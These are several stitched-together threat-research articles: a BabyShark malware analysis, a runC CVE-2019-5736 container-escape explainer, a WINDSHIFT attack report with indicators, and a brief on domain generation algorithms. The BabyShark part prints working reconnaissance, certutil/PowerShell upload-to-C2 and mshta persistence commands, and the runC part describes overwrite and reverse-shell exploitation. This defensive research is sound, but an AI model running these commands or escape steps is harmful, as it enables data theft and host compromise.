HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\14.0\WORD\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\15.0\WORD\Security\VBAWarnings, value:1

HKCU\Software\Microsoft\Office\16.0\WORD\Security\VBAWarnings, value:1

It then issues a sequence of Windows commands and saves the results in %AppData%\Microsoft\ttmp.log.

whoami

hostname

ipconfig /all

net user

dir "%programfiles%"

dir "%programfiles% (x86)"

dir "%programdata%\Microsoft\Windows\Start Menu"

dir "%programdata%\Microsoft\Windows\Start Menu\Programs"

dir "%appdata%\Microsoft\Windows\Recent"

tasklist

ver

set

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"

The collected data is encoded using Windows certutil.exe tool, then uploaded to the C2 via a HTTP POST request.

retu=wShell.run("certutil -f -encode """&ttmp&""" """&ttmp1&"""",0,true)

retu=wShell.run("powershell.exe (New-Object System.Net.WebClient).UploadFile('https://tdalpacafarm[.]com/files/kr/contents/upload.php','"&ttmp1&"');del """&ttmp1&""";del """&ttmp&"""",0,true)

BabyShark adds the following registry key value to maintain persistence and waits for further commands from the operator. Unfortunately, we were not able to collect additional commands issued by the operator.

HKCU\Software\Microsoft\Command Processor\AutoRun, value: “powershell.exe mshta https://tdalpacafarm[.]com/files/kr/contents/Usoro.hta"

This registry key executes the string value when cmd.exe is launched. BabyShark ensures cmd.exe is launched by registering the following scripts as scheduled tasks:

[%AppData%\Microsoft\Axz\zvftz.vbs]

Set wShell=CreateObject("WScript.Shell"):retu=wShell.run("cmd.exe /c taskkill /im cmd.exe",0,true)

[%AppData%\Adobe\Gqe\urjlt.js]

wShell=new ActiveXObject("WScript.Shell");retu=wShell.run("cmd.exe /c taskkill /im cmd.exe"",0,true);

Links to Other Activity

We noticed BabyShark having connections with other suspected North Korean activities in the past; KimJongRAT and STOLEN PENCIL.

KimJongRAT connection:

  • BabyShark and KimJongRAT use the same file path for storing collected system information: %AppData%/Microsoft/ttmp.log.
  • KimJongRAT had similar interests in targeting national security related targets. The malware was delivered with the following decoys:
Decoy Filename Dropper SHA256
Kendall-AFA 2014 Conference-17Sept14.pdf c4547c917d8a9e027191d99239843d511328f9ec6278009d83b3b2b8349011a0
U.S. Nuclear Deterrence.pdf 1ad53f5ff0a782fec3bce952035bc856dd940899662f9326e01cb24af4de413d
제30차한미안보 안내장 ENKO.fdp.etadpU.scr (translates to 30th Korea-U.S. National Security Invitation Update) b3e85c569e89b6d409841463acb311839356c950d9eb64b9687ddc6a71d1b01b
Conference Information_2010 IFANS Conference on Global Affairs (1001).pdf 0c8f17b2130addebcb2ca75bd7a982e37ddcc49d49e79fe60e3fda767f2ec972

Table 2 Decoy filename used when delivering KimJongRAT

  • The threat actor behind the BabyShark malware frequently tested its samples for anti-virus detection when developing the malware. The testing samples included a freshly compiled KimJongRAT.
SHA256 Size Compile Date AV Test Site Upload Date
52b898adaaf2da71c5ad6b3dfd3ecf64623bedf505eae51f9769918dbfb6b731 685,568 bytes 2019-01-04 05:44:31 2019-01-04 08:15:41

Table 3 Freshly compiled testing KimJongRAT sample

STOLEN PENCIL connection:

  • A freshly compiled testing version of a PE type BabyShark loader was uploaded to a public sample repository. The sample was signed with the stolen codesigning certificate used in the STOLEN PENCIL campaign. We did not notice any other malware being signed with this certificate.
SHA256 Size Compile Date AV Test Site Upload Date
6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c 32,912 bytes 2018-12-21 00:34:35 2018-12-21 08:30:28

Table 4 Signed testing version of PE type BabyShark loader sample

Figure 5 Codesign details

Conclusion

BabyShark is being used in a limited spear phishing campaign which started in November 2018 and is still ongoing. The threat actor behind it has a clear focus on gathering intelligence related to Northeast Asia’s national security issues. Well-crafted spear phishing emails and decoys suggest that the threat actor is well aware of the targets, and also closely monitors related community events to gather the latest intelligence. While not conclusive, we suspect that the threat actor behind BabyShark is likely connected to the same actor who used the KimJongRAT malware family, and at least shares resources with the threat actor responsible for the STOLEN PENCIL campaign. We also noticed testing indicating the attackers are working on a PE loader for BabyShark. The threat actor may use different methods to deliver BabyShark in the future campaigns.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire and Traps detect all the malware supported in this report as malicious.
  • C2 domains used by the attackers are blocked via Threat Prevention.

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tag:

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit cyberthreatalliance.org.

Indicators of Compromise

Malicious Documents:

7b77112ac7cbb7193bcd891ce48ab2acff35e4f8d523980dff834cb42eaffafa

9d842c9c269345cd3b2a9ce7d338a03ffbf3765661f1ee6d5e178f40d409c3f8

2b6dc1a826a4d5d5de5a30b458e6ed995a4cfb9cad8114d1197541a86905d60e

66439f0e377bbe8cda3e516e801a86c64688e7c3dde0287b1bfb298a5bdbc2a2

8ef4bc09a9534910617834457114b9217cac9cb33ae22b37889040cde4cabea6

331d17dbe4ee61d8f2c91d7e4af17fb38102003663872223efaa4a15099554d7

1334c087390fb946c894c1863dfc9f0a659f594a3d6307fb48f24c30a23e0fc0

dc425e93e83fe02da9c76b56f6fd286eace282eaad6d8d497e17b3ec4059020a

94a09aff59c0c27d1049509032d5ba05e9285fd522eb20b033b8188e0fee4ff0

PE version loader, signed with stolen certificate:

6f76a8e16908ba2d576cf0e8cdb70114dcb70e0f7223be10aab3a728dc65c41c

Breaking out of Docker via runC – Explaining CVE-2019-5736

Last week (2019-02-11) a new vulnerability in runC was reported by its maintainers, originally found by Adam Iwaniuk and Borys Poplawski. Dubbed CVE-2019-5736, it affects Docker containers running in default settings and can be used by an attacker to gain root-level access on the host.
Aleksa Sarai, one of runC’s maintainers, found that the same fundamental flaw exists in LXC. As opposed to Docker though, only privileged LXC containers are vulnerable. Both runC and LXC were patched and new versions were released.

The vulnerability gained a lot of traction and numerous technology sites and commercial companies addressed it in dedicated posts. Here at Twistlock, our CTO John Morello wrote an excellent piece with all the relevant details and the mitigations offered by the Twistlock platform.

Initially, the official exploit code wasn’t to be released publicly until 2019-02-18, in order to prevent malicious parties from weaponizing it before users have had some time to update. In the following days though, several people decided to release their own exploit code. That led the runC team to eventually release their exploit code earlier (2019-02-13) since – as they put it – “the cat was out of the bag”.

This post aims to be a comprehensive technical deep dive into the vulnerability and it’s various exploitation methods.

So What Is runC?

RunC is a container runtime originally developed as part of Docker and later extracted out as a separate open source tool and library. As a “low level” container runtime, runC is mainly used by “high level” container runtimes (e.g. Docker) to spawn and run containers, although it can be used as a stand-alone tool.
“High level” container runtimes like Docker will normally implement functionalities such as image creation and management and will use runC to handle tasks related to running containers – creating a container, attaching a process to an existing container (docker exec) and so on.

Procfs

To understand the vulnerability, we need to go over some procfs basics. The proc filesystem is a virtual filesystem in Linux that presents information primarily about processes, typically mounted to /proc. It is virtual in a sense that it does not exist on disk. Instead, the kernel creates it in memory. It can be thought of as an interface to system data that the kernel exposes as a filesystem. Each process has its own directory in procfs, at /proc/[pid]:


As shown in the image above, /proc/self is a symbolic link to the directory of the currently running process (in this case pid 177). Each process’s directory contains several files and directories with information on the process. For the vulnerability, the relevant ones are:

  • /proc/self/exe – a symbolic link to the executable file the process is running, and ;
  • /proc/self/fd – a directory containing the file descriptors open by the process.

For example, by listing the files under /proc/self using ls /proc/self one can see that /proc/self/exe points to the ‘ls’ executable.


That makes sense as the one accessing /proc/self is the ‘ls’ process that our shell spawned.

The Vulnerability

Let’s go over the vulnerability overview given by the runC team:

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts:

  • Creating a new container using an attacker-controlled image.
  • Attaching (docker exec) into an existing container which the attacker had previous write access to.

Those two scenarios might seem different, but both require runC to spin up a new process in a container and are implemented similarly. In both cases, runC is tasked with running a user-defined binary in the container. In Docker, this binary is either the image’s entry point when starting a new container, or docker exec’s argument when attaching to an existing container.

When this user binary is run, it must already be confined and restricted inside the container, or it can jeopardize the host. In order to accomplish that, runC creates a ‘runC init’ subprocess which places all needed restrictions on itself (such as entering or setting up namespaces) and effectively places itself in the container. Then, the runC init process, now in the container, calls the execve syscall to overwrite itself with the user requested binary.

This is the method used by runC both for creating new containers and for attaching a process to an existing container.

The researchers who revealed the vulnerability discovered that an attacker can trick runC into executing itself by asking it to run /proc/self/exe, which is a symbolic link to the runC binary on the host.


An attacker with root access in the container can then use /proc/[runc-pid]/exe as a reference to the runC binary on the host and overwrite it. Root access in the container is required to perform this attack as the runC binary is owned by root.
The next time runC is executed, the attacker will achieve code execution on the host. Since runC is normally run as root (e.g. by the Docker daemon), the attacker will gain root access on the host.

Why not runC init?

The image above might mislead some to believe the vulnerability (i.e. tricking runC into executing itself) is redundant. That is, why can’t an attacker simply overwrite /proc/[runc-init-pid]/exe instead?
A patch for a similar runC vulnerability, CVE-2016-9962, mitigates this kind of attack.
CVE-2016-9962 revealed that the runC init process possessed open file descriptors from the host which could be used by an attacker in the container to traverse the host’s filesystem and thus break out of the container. Part of the patch for this flaw was setting the runc init process as ‘non-dumpable’ before it entering the container.

In the context of CVE-2019-5736, the ‘non-dumpable’ flag denies other processes from dereferencing /proc/[pid]/exe, and therefore mitigates overwriting the runC binary through /proc/[runc-init-pid]/exe [1]. Calling execve drops this flag though, and hence the new runC process’ /proc/[runc-pid]/exe is accessible.

The Symlink Problem

The vulnerability may appear to contradict the way symbolic links are implemented in Linux.
Symbolic links simply hold the path to their target. For a runC process, /proc/self/exe should contain something like /usr/sbin/runc.
When a symlink is accessed by a process, the kernel uses the path present in the link to find the target under the root of the accessing process.
That begs the question – when a process in the container opens the symbolic link to the runC binary, why doesn’t the kernel searches for the runC path inside the container root?

The answer is that /proc/[pid]/exe does not follow the normal semantics for symbolic links. Technically this might count as a violation of POSIX, but as I mentioned earlier procfs is a special filesystem. When a process opens /proc/[pid]/exe, there is none of the normal procedure of reading and following the contents of a symlink. Instead, the kernel just gives you access to the open file entry directly.

Exploitation

Soon after the vulnerability was reported, when no POCs were publicly released yet, I attempted to develop my own POC based on the detailed description of the vulnerability given in the LXC patch addressing it. You can find the complete POC code here.

Let’s break down LXC’s description of the vulnerability:

when runC attaches to a container the attacker can trick it into executing itself. This could be done by replacing the target binary inside the container with a custom binary pointing back at the runC binary itself. As an example, if the target binary was /bin/bash, this could be replaced with an executable script specifying the interpreter path #!/proc/self/exe

The ‘#!’ syntax is called shebang and is used in scripts to specify an interpreter. When the Linux loader encounters the shebang, it runs the interpreter instead of the executable.

As seen in the video, the program finally executed by the loader is:
interpreter [optional-arg] executable-path

When the user runs something like docker exec container-name /bin/bash, the loader will recognize the shebang in the modified bash and execute the interpreter we specified – /proc/self/exe, which is a symlink to the runC binary.
We can proceed to overwrite the runC binary from a separate process in the container through /proc/[runc-pid]/exe.

The attacker can then proceed to write to the target of /proc/self/exe to try and overwrite the runC binary on the host. However in general, this will not succeed as the kernel will not permit it to be overwritten whilst runC is executing.

Basically, we cannot overwrite the runC binary while a process is running it. On the other hand, if the runC process exits, /proc/[runc-pid]/exe will vanish and we will lose the reference to the runC binary. To overcome this, we open /proc/[runc-pid]/exe for reading in our process, which creates a file descriptor at /proc/[our-pid]/fd/3.
We then wait for the runC process to exit, and proceed to open /proc/[our-pid]/fd/3 for writing, and overwrite runC.
Here is the code for overwrite_runc, shortened for brevity:

Let’s see some action! The exploit output shows the steps taken to overwrite runC. You can see that the runC process is running as pid 20054. The video can also be seen here.

This method has one setback though – it requires an additional process to run the attacker code. Since containers are started with only one process (i.e. the Docker’s image entry point), this approach couldn’t be used to create a malicious image that will compromise the host when run.
Some other POCs you might have seen that implement a similar approach are Frichetten’s and feexd’s.

Shared Libraries Approach

A different exploitation method is used in the official POC released by runC’s maintainers and is superior to POCs similar to mine since it can be implemented to compromise the host through two separate methods:

  1. When a user execs a command into an existing attacker controlled container
  2. When a user runs a malicious image

We’ll now look into building a malicious image since the previous POC already demonstrated the first scenario. The POC I wrote for this method is heavily based on q3k’s POC, which, to the best of my knowledge, was the first published malicious image POC. You can view the full POC code here.

Let’s go over the Dockerfile used to build the malicious image. First, the entry point of the image is set to /proc/self/exe in order to trick runC into executing itself when the image is run.

RunC is dynamically linked to several shared libraries at run time, which can be listed using the ldd command.

When the runC process is executed in the container, those libraries are loaded into the runC process by the dynamic linker. It is possible to substitute one of those libraries with a malicious version, that will overwrite the runC binary upon being loaded into the runC process.
Our Dockerfile builds a malicious version of the libseccomp library:

The Dockerfile appends the content of run_at_link.c to one of libsecomp’s source files. Subsequently, the malicious libsecomp is built.

The constructor attribute (a GCC-specific syntax) indicates that the run_at_link function is to be executed as an initialization function [2] for libseccomp after the dynamic linker loads the library into the runC process. Since run_at_link will be executed by the runC process, it can access the runC binary at /proc/self/exe.
The runC process must exit for the runC binary to be writable though. To enforce the exit, run_at_link calls the execve syscall to execute overwrite_runc.

Since execve doesn’t affect the file descriptors open by the process, the same file descriptor trick from the previous POC can be used:

  1. The runC process loads the libseccomp library and transfers execution to the run_at_link function.
  2. run_at_link opens the runC binary for reading through /proc/self/exe. This creates a file descriptor at /proc/self/fd/${runc_fd_read}.
  3. run_at_link calls execve to execute overwrite_runc.
  4. The process is no longer running the runC binary, overwrite_runc opens /proc/self/fd/runc_fd_read for writing and overwrites the runC binary.

For the following video, I built a malicious image that overwrites the runC binary with a simple script that spawns a reverse shell at port 2345.

The docker run command executes runC twice. Once to create and run the container, which executes the POC to overwrite runC, and then again to stop the container using runc delete [3].
The second time runC is executed, it is already overwritten, and hence the reverse shell script is executed instead.

The Fix

RunC and LXC were both patched using the same approach, which is described clearly in the LXC patch commit:

To prevent this attack, LXC has been patched to create a temporary copy of the calling binary itself when it starts or attaches to containers. To do this LXC creates an anonymous, in-memory file using the memfd_create() system call and copies itself into the temporary in-memory file, which is then sealed to prevent further modifications. LXC then executes this sealed, in-memory file instead of the original on-disk binary. Any compromising write operations from a privileged container to the host LXC binary will then write to the temporary in-memory binary and not to the host binary on-disk, preserving the integrity of the host LXC binary. Also as the temporary, in-memory LXC binary is sealed, writes to this will also fail.

RunC has been patched using the same method. It re-executes from a temporary copy of itself when it starts or attaches to containers. Consequently, /proc/[runc-pid]/exe now points to the temporary file, and the runC binary can’t be reached from within the container.
The temporary file is also sealed to block writing to it, although overwriting it shouldn’t compromise the host.

This patch introduced some issues though. The temporary runC copy is created in-memory after the runc init process has already applied the container’s cgroup memory constraints on itself. For containers running with a relatively low memory limit (e.g 10Mb), this can cause processes in the container to be oom-killed (Out Of Memory killed) by the kernel when the runC init process attaches to the container.

If you are interested, an issue regarding this complication was created and contains a discussion about alternative fixes that might not introduce the same problem.

CVE-2019-5736 and Privileged Containers

As a general rule of thumb, privileged containers (of a given container runtime) are less secure then unprivileged containers (of the same runtime).
Earlier I stated that the vulnerability affects all Docker containers but only LXC’s privileged containers. So why are Docker unprivileged containers vulnerable while LXC unprivileged containers aren’t? Well, it’s because LXC and Docker define privileged containers differently. In fact, Docker unprivileged containers are considered privileged according to LXC philosophy.

Privileged containers are defined as any container where the container uid 0 is mapped to the host's uid 0.

The main difference is that LXC runs unprivileged containers in a separate user namespace by default, while Docker doesn’t.
User namespaces are a feature of Linux that can be used to separate the container root from the host root. The root inside the container, as well as all other users, are mapped to unprivileged users on the host. In other words, a process can have root access for operations inside the container but is unprivileged for operations outside it. If you would like a more in-depth explanation, I recommend LWN’s namespace series

Image from kinvolk.
So how does running the container in a user namespace mitigate this vulnerability?
The attacker is root inside the container but is mapped to an unprivileged user on the host. Therefore, when the attacker tries to open the host’s runC binary for writing, he is denied by the kernel.

You might wonder why Docker doesn’t run containers in a separate user namespace by default. It’s because user namespaces do have some drawbacks in the context of containers, which are a bit out of the scope of this post. If you are interested, Docker and rkt (another container runtime) both list the limitations of running containers in user namespaces.

Ending Note

I hope this post gave you a bit of insight into the different aspects of this vulnerability. If you are using either runC, Docker, or LXC, don’t forget to update to the patched version.
Feel free to reach out with any questions you may have through email or @TwistlockLabs.


 

[1] As a side note, privileged Docker containers (before the new patch) could use the /proc/pid/exe of the runc init process to overwrite the runC binary. To be exact, the specific privileges required are SYS_CAP_PTRACE and disabling AppArmor.

[2] For those familiar with Windows DLLs, it resembles DllMain.

[3] The container is stopped after overwrite_runc exits, since overwrite_runc was executed as the init process (PID 1) of the container.

Shifting in the Wind: WINDSHIFT Attacks Target Middle Eastern Governments

Executive Summary

In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles (here and here) were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.

Summary of Aggregated WINDSHIFT Attacker Activity

The following timeline summarizes validated WINDSHIFT activity through June of 2018.

Figure 1: Known WINDSHIFT activity across main disclosure sources.

As shown within the timeline above, the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018.

Middle Eastern Government Agency Attack Timeline

The following is a summary of observed WINDSHIFT activity which targeted a Middle Eastern government agency:

Figure 2: Unit 42 Observed WINDSHIFT samples.

The first attack occurred in early January of 2018 with an inbound WINDTAIL sample (the backdoor family used by WINDSHIFT) originating from the remote IP address 109.235.51[.]110 to a single internal IP address within the government agency. As per the timeline in Figure 2, at the time this event occurred, the IP address 109.235.51[.]110 was associated with the domain flux2key[.]com, a known WINDSHIFT domain. Upon further analysis, Unit 42 determined the sample’s corresponding C2 server IP address was 109.235.51[.]153. At the time this event occurred, that IP was associated with the domain string2me[.]com, which is a known WINDSHIFT domain. While Unit 42 does not have any insight into the attempted infection methodology in this case, the actor’s TTPs would suggest that spearphishing was almost certainly involved.

After the initial infection attempt, several additional WINDTAIL samples from the same external IP address, 109.235.51[.]110, were directed at the same internal IP address from January through May of 2018 (see Figure 2 for additional details). All related WINDTAIL samples were Mac OSX app bundles in zip archives, which is consistent with WINDSHIFT TTPS.

One sample in particular, named “mcworker.zip” (SHA256: e0fdcb5e0215f9fae485fbfcd615c79b85806827e461bca2e1c00c82e83281dc) deserves particular attention. Upon further analysis, Unit 42 determined its C2 server IP address was 185.25.50[.]189. According to OSINT, at the time of the activity, the IP address 185.25.50[.]189 had one domain resolution: domforworld[.]com.

Conclusion

By analyzing this attack in detail, Unit 42 was able to gain valuable insight into the real-world TTPs of a known threat actor group. Of particular importance are the following findings:

  • Unit 42 assesses with high confidence that both the IP address 185.25.50[.]189 and the domain domforworld[.]com is associated with WINDSHIFT activity. Additionally, the IP addresses 109.235.51[.]110 and 109.235.51[.]153, corresponding to the previously validated WINDSHIFT domains flux2key[.]com and string2me[.]com, respectively, were also observed in use during this campaign.
  • The attacker-owned IP address 109.235.50[.]191 was subsequently identified in a Norman Security report from as being associated with Hangover threat actor activity, and both IP addresses 109.235.51[.]110 and 109.235.50[.]191 shared the name “XENEUROPE” within their organizational registrant WHOIS information. This organizational name is tied to a number of IP addresses of Hangover-associated infrastructure as per the Norman report. Collectively, this evidence serves to strengthen the implication from other security researchers that Operation Hangover and WINDSHIFT activity are possibly related.
  • Based on Unit 42’s observations of multiple inbound WINDTAIL samples directed at the same internal IP address, Unit 42 assesses with moderate confidence that the attackers were not able to establish persistence within the targeted environment. While Unit 42 cannot definitively determine the attempted delivery vector of these samples, WINDTAIL TTPs would indicate that it was likely standard spearphishing chicanery.
  • One of two of the Mac OSX developer certificates tied to the WINDTAIL samples shown in DarkMatter’s original presentation, Caren Van (4F9G49SUXB), was also tied to the WINDTAIL samples within this blog. Additionally, a newly identified certificate, warren portman (95RKE2AA8F), was found to be directly affiliated with WINDSHIFT malware.

Palo Alto Networks customers are protected from this threat in the following ways:

  • AutoFocus customers can track these samples with the Windshift tag.
  • WildFire detects all files mentioned in this report with malicious verdicts.

IOCs

Infrastructure:

Domain IP Address
flux2key[.]com 109.235.51[.]110
string2me[.]com 109.235.51[.]153
domforworld[.]com 185.25.50[.]189

File Hashes:

 

File Name(s) Apple Developer Certificate  SHA-256
trusted.zip Caren Van (4F9G49SUXB) ce8e01373499b539f4746c0e68c850357476abe36b12834f507f9ba19af3d4f9
mcworker.zip Caren Van (4F9G49SUXB) e0fdcb5e0215f9fae485fbfcd615c79b85806827e461bca2e1c00c82e83281dc
keybaged.zip Caren Van (4F9G49SUXB) 1fbfbaefd50627796e7f16b8cc2b81ffbc5effcb33b64cc8e349e44b5d5d3ee8
trustb.zip Caren Van (4F9G49SUXB) 1de218e45cdf069c10d1a8735d82688b8964261a5efe3b6560e0fdcfa3c44c1d
frd.zip Caren Van (4F9G49SUXB) dd0e0883392ffe8c72c4b13f58e5861fc2f4bc518a6abea4f81ae3a44b2eda1c
smdd.zip Caren Van (4F9G49SUXB) e2a5663584727efa396c319f7f99a12205bb05c9c678ffae130e9f86667505a6
logd.zip Caren Van (4F9G49SUXB) ffae55894f0f31d99105b5b7bbbca79e9c1019b37b7a5a20368f50c173352fd1
logd.zip Caren Van (4F9G49SUXB) cb3068ee887fc2f66d3df886421d5e5fa5e31ec4ee0079a7dcf9628bd2730de0
lsd.zip Caren Van (4F9G49SUXB) 0c0fce879c8ca00a6f9feeaccf6cba64374e508cacd664682e794a4a4cc64ffb
tootoo.zip warren portman (95RKE2AA8F) 8c8b53f4d4836bd7d4574fe80039caf9f2bd4d75740f2e8e22619064c830c6d9

 

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

 

 

 

Threat Brief: Understanding Domain Generation Algorithms (DGA)

Intro

One of the most important “innovations” in malware in the past decade is what’s called a Domain Generation Algorithm (“DGA”)”. DGA is an automation technique that attackers use to make it harder for defenders to protect against attacks. While DGA has been in use for over 10 years now, it’s still a potent technique that has been a particular challenge for defenders to counter. Fortunately, there are emerging technologies now that can better counter DGAs.

What is it?

A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion. Attackers developed DGAs so that malware can quickly generate a list of domains that it can use for the sites that give it instructions and receive information from the malware (usually referred to as “command and control” or C2).

Attackers use DGA so that they can quickly switch the domains that they’re using for the malware attacks. Attackers do this because security software and vendors act quickly to block and take down malicious domains that malware uses. Attackers developed DGA specifically to counter these actions.

In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites. By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains. To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult.

Even then, taking down sites that malware using a DGA can be a challenge as defenders have to go through the process of working with ISPs to take down these malicious domains one by one. Many DGAs are built to use hundreds or even thousands of domains. And these domains are often up for only limited periods of time. In this environment blocking and taking down DGA-related domains quickly becomes a game of “whack a mole” that is sometimes futile.

Why should I care, what can it do to me?

DGA by itself can’t harm you. But it is an important piece that enables modern malware to try and evade security products and countermeasures. The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008. DGA was a key component in the Conficker attacks in 2008 and 2009 and part of its success.

What can I do about it?

Because DGA is a technique the fuels malware attacks, the things you can do to help prevent malware can also help prevent DGA-fueled malware attacks:

  1. Don’t open attachments that are unexpected or from unknown sources.
  2. Don’t enable macros on attached documents without confirming that you can do so safely from the sender and your IT department.
  3. Run security software that can help prevent malware attacks.

In addition, new technologies are being developed that can more directly counter DGA-fueled attacks, particularly for organizations. In particular, security vendors are bringing automation to bear to counter the attackers’ automation. New anti-DGA technologies that leverage machine learning and big data are capable of countering DGA’s automation with automated prediction of their own that can anticipate, block, assist with malicious site takedowns or even, in some cases, prevent those malicious sites from being used in the first place.

You can also learn more about these new technologies and look at deploying them as an additional layer of protection.

About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.

They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.

Got a topic you want us to write about for you, your friends, or your family? Email us at u42comms@paloaltonetworks.com.